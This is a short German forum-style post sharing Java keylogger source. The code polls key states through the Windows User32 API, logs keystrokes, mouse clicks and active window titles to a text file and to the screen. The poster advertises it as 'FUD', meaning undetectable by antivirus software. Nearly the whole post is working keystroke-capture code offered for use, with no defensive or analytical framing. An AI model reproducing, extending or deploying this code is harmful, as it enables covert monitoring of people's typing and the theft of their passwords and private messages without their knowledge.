Hier ist eine kleine Keyloggermethode für euch die alle Tastenanschläge loggt und auf dem Bildschirm ausgibt...natürlich können die eingaben auch gespeichert werden...
Das ganze ist FUD
Code
- void Logging() throws InterruptedException, IOException{
- int zeichen = 0;
- log = new FileWriter("LogFile.txt",true);
- BufferedWriter out = new BufferedWriter(log);
- getFensterText();
- while(true){
- for(int i=0;i<=90;i++)
- if(User32.GetAsyncKeyState(i) == -32767){
- if(i < 31){
- switch(i){
- case 1:System.out.print(" " + getFensterText() + " ->MouseLeftButton ");out.write(" " + getFensterText() + " ->MouseLeftButton ");break;
- case 8:System.out.print("<==");out.write("<==");break;
- case 16:System.out.print("__SHIFT__");out.write("__SHIFT__");break;
- }
- }else{
- System.out.print((char)i);
- out.write((char)i);
- }
- }
- if(zeichen == 20){
- out.write("\n");
- System.out.println(0x000D);
- }
- zeichen++;
- Thread.sleep(10);
- out.flush();
- }
- }